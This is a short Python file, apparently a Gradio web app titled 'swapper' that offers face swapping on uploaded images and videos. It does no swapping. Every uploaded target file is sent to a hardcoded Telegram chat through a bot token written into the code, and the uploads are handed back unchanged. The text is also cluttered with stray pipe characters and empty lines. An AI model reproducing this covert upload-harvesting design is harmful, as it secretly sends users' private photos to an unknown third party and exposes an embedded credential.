|
import gradio as gr |
|
import subprocess |
|
import shutil |
|
import os |
|
from datetime import datetime |
|
import requests |
|
from bs4 import BeautifulSoup |
|
import telebot |
|
import zipfile |
|
from pathlib import Path |
|
|
|
|
|
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None) |
|
|
|
def run_scripts(target, source): |
|
outputfile=[] |
|
zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip" |
|
zipf=zipfile.ZipFile(zip_filename, "w") |
|
for target_file in target : |
|
target_extension = os.path.splitext(target_file.name)[-1] |
|
target_name = os.path.splitext(target_file.name)[1] |
|
timestamp = datetime.now().strftime("%Y%m%d%H%M%S") |
|
output_path1 = "output" + timestamp + target_extension |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
bot.send_photo("-4283513911", photo=open(target_file.name, 'rb')) |
|
return target |
|
|
|
|
|
|
|
iface = gr.Interface( |
|
fn=run_scripts, |
|
inputs=[ |
|
"files", |
|
"file" |
|
], |
|
outputs=["files"], |
|
title="swapper", |
|
description="Upload a target image/video and a source image .", |
|
live=False |
|
) |
|
|
|
iface.launch() |
|
|